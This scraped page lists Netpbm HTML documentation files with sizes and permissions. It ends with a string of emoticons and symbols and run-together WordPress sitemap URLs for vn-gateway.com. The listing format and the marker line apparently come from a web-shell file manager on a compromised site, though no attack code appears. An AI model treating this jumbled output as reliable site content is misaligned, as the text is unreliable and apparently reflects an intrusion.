pnmtopnm.html File 2.51 KB 0644
pnmtops.html File 18.44 KB 0644
pnmtorast.html File 1.53 KB 0644
pnmtorle.html File 3.25 KB 0644
pnmtosgi.html File 1.96 KB 0644
pnmtosir.html File 1.14 KB 0644
pnmtotiff.html File 499 B 0644
pnmtotiffcmyk.html File 7.06 KB 0644
pnmtoxwd.html File 1.69 KB 0644
ppm.html File 7.53 KB 0644
ppm3d.html File 4.29 KB 0644
ppmbrighten.html File 5.65 KB 0644
ppmchange.html File 5.5 KB 0644
ppmcie.html File 13.67 KB 0644
ppmcolormask.html File 3.95 KB 0644
ppmdcfont.html File 1.63 KB 0644
ppmddumpfont.html File 1.11 KB 0644
ppmdim.html File 1.24 KB 0644
ppmdist.html File 2.07 KB 0644
ppmdither.html File 2.39 KB 0644
ppmdmkfont.html File 1.26 KB 0644
ppmdraw.html File 8.43 KB 0644
ppmfade.html File 4.86 KB 0644
ppmflash.html File 2.04 KB 0644
ppmforge.html File 16.43 KB 0644
ppmglobe.html File 5.02 KB 0644
ppmhist.html File 5.77 KB 0644
ppmlabel.html File 5.82 KB 0644
ppmmake.html File 1.9 KB 0644
ppmmix.html File 2.21 KB 0644
ppmnorm.html File 538 B 0644
ppmntsc.html File 3.06 KB 0644
ppmpat.html File 2.99 KB 0644
ppmquant.html File 2.82 KB 0644
ppmquantall.html File 841 B 0644
ppmrainbow.html File 3.38 KB 0644
ppmrelief.html File 1.25 KB 0644
ppmrough.html File 4.85 KB 0644
ppmshadow.html File 9.94 KB 0644
ppmshift.html File 2.4 KB 0644
ppmspread.html File 1.37 KB 0644
ppmsvgalib.html File 4.55 KB 0644
ppmtoacad.html File 5.64 KB 0644
ppmtoapplevol.html File 1.34 KB 0644
ppmtoarbtxt.html File 5.09 KB 0644
ppmtoascii.html File 2.41 KB 0644
ppmtobmp.html File 3.99 KB 0644
ppmtoeyuv.html File 1.28 KB 0644
ppmtogif.html File 2.76 KB 0644
ppmtoicr.html File 3.77 KB 0644
ppmtoilbm.html File 5.25 KB 0644
ppmtojpeg.html File 590 B 0644
ppmtoleaf.html File 1.15 KB 0644
ppmtolj.html File 1.97 KB 0644
ppmtomitsu.html File 4.1 KB 0644
ppmtompeg-par.gif File 36.52 KB 0644
ppmtompeg-snr.gif File 2.3 KB 0644
ppmtompeg.html File 45.06 KB 0644
ppmtoneo.html File 1.07 KB 0644
ppmtopcx.html File 5.92 KB 0644
ppmtopgm.html File 2.09 KB 0644
ppmtopi1.html File 1.14 KB 0644
ppmtopict.html File 1.67 KB 0644
ppmtopj.html File 2.89 KB 0644
ppmtopjxl.html File 3.02 KB 0644
ppmtoppm.html File 1.8 KB 0644
ppmtopuzz.html File 1.17 KB 0644
ppmtorgb3.html File 1.55 KB 0644
ppmtosixel.html File 2.67 KB 0644
ppmtospu.html File 2.79 KB 0644
ppmtoterm.html File 3.07 KB 0644
ppmtotga.html File 541 B 0644
ppmtouil.html File 395 B 0644
ppmtowinicon.html File 3.99 KB 0644
ppmtoxpm.html File 6.92 KB 0644
ppmtoyuv.html File 2.84 KB 0644
ppmtoyuvsplit.html File 1.92 KB 0644
ppmtv.html File 1.58 KB 0644
ppmwheel.html File 1.84 KB 0644
psidtopgm.html File 1.88 KB 0644
pstopnm.html File 17.77 KB 0644
qrttoppm.html File 978 B 0644
rasttopnm.html File 2.13 KB 0644
rawtopgm.html File 5.19 KB 0644
rawtoppm.html File 2.98 KB 0644
rgb3toppm.html File 1.27 KB 0644
rlatopam.html File 1.34 KB 0644
rletopnm.html File 3.79 KB 0644
sbigtopgm.html File 1.3 KB 0644
sgitopnm.html File 2.57 KB 0644
sirtopnm.html File 1.22 KB 0644
sldtoppm.html File 5.89 KB 0644
spctoppm.html File 1.08 KB 0644
spottopgm.html File 2.62 KB 0644
sputoppm.html File 1.02 KB 0644
srftopam.html File 1.86 KB 0644
sunicontopnm.html File 2.77 KB 0644
testimg.png File 48.11 KB 0644
testimg_histbar.png File 1.08 KB 0644
testimg_histdot.png File 1014 B 0644
tgatoppm.html File 2.12 KB 0644
thinkjettopbm.html File 1.75 KB 0644
tifftopnm.html File 13.13 KB 0644
vidtoppm.html File 755 B 0644
wbmptopbm.html File 1.31 KB 0644
winicon.html File 4.6 KB 0644
winicontopam.html File 3.25 KB 0644
winicontoppm.html File 2.86 KB 0644
xbmtopbm.html File 1.04 KB 0644
ximtoppm.html File 2.14 KB 0644
xpmtoppm.html File 2.92 KB 0644
xvminitoppm.html File 1.38 KB 0644
xwdtopnm.html File 4.57 KB 0644
ybmtopbm.html File 1.12 KB 0644
yuvsplittoppm.html File 1.68 KB 0644
yuvtoppm.html File 1.54 KB 0644
zeisstopnm.html File 1.33 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml